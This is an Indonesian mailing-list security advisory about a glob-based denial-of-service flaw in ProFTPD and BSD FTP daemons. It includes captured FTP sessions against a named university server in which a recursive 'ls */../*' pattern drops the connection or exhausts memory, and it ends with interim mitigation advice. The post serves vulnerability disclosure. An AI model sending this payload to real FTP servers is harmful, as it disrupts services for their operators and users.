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hello guys,

Ada Denial of Service baru untuk ftp daemon , beberapa yang kena adalah
proftpd, semua BSD ftpd, tetapi wuftpd tidak terkena (hmm aneh .. baru kali ini
ya), microsoft juga ngga kena :((

- -----------snip-------------

[root@Uiblizz /root]# ftp ftp.brawijaya.ac.id
Connected to ftp.brawijaya.ac.id.
220 ProFTPD 1.2.0pre10 Server (Brawijaya FTP Server)
[webdev.dev.brawijaya.ac.id]
Name (ftp.brawijaya.ac.id:root): anonymous
331 Anonymous login ok, send your complete e-mail address as password.
Password:
230-Brawijaya FTP Server
230 Anonymous access granted, restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
227 Entering Passive Mode (202,159,23,212,9,39).
150 Opening ASCII mode data connection for file list

421 Service not available, remote server has closed connection
ftp>
ftp>

- -----------snip--------------

ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
227 Entering Passive Mode (202,159,23,212,9,35).
150 Opening ASCII mode data connection for file list
226-Out of memory during globbing of
*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
226 Transfer complete.
ftp>
ftp>

- ------------snip--------------

Resource cpu dan memory akan langsung naik 90-100% (hanya untuk satu
koneksi ftp)

Setidaknya kita punya beberapa ftpd terinstall di server , dan kita dapat
langsung merubah nya dalam keadaaan emergency sambil menunggu patch atau
versi yg lebih baru dr verdor ftpd tersebut.

Semoga infrmasi ini berguna,

cheers,


#######################Indra Kusuma
IT Security Engineer
1rstWAP Inc.
- ----------------------------------+
1rstWAP Building
Jl. Kapten P. Tendean no.34
Mampang Prapatan
Jakarta - 12790
Indonesia
Phone:  (62-21) 79199577 (hunting)
Fax: (62-21) 7995602.
- -=[ www.1rstwap.com ]=-
###################################

- -EOF-

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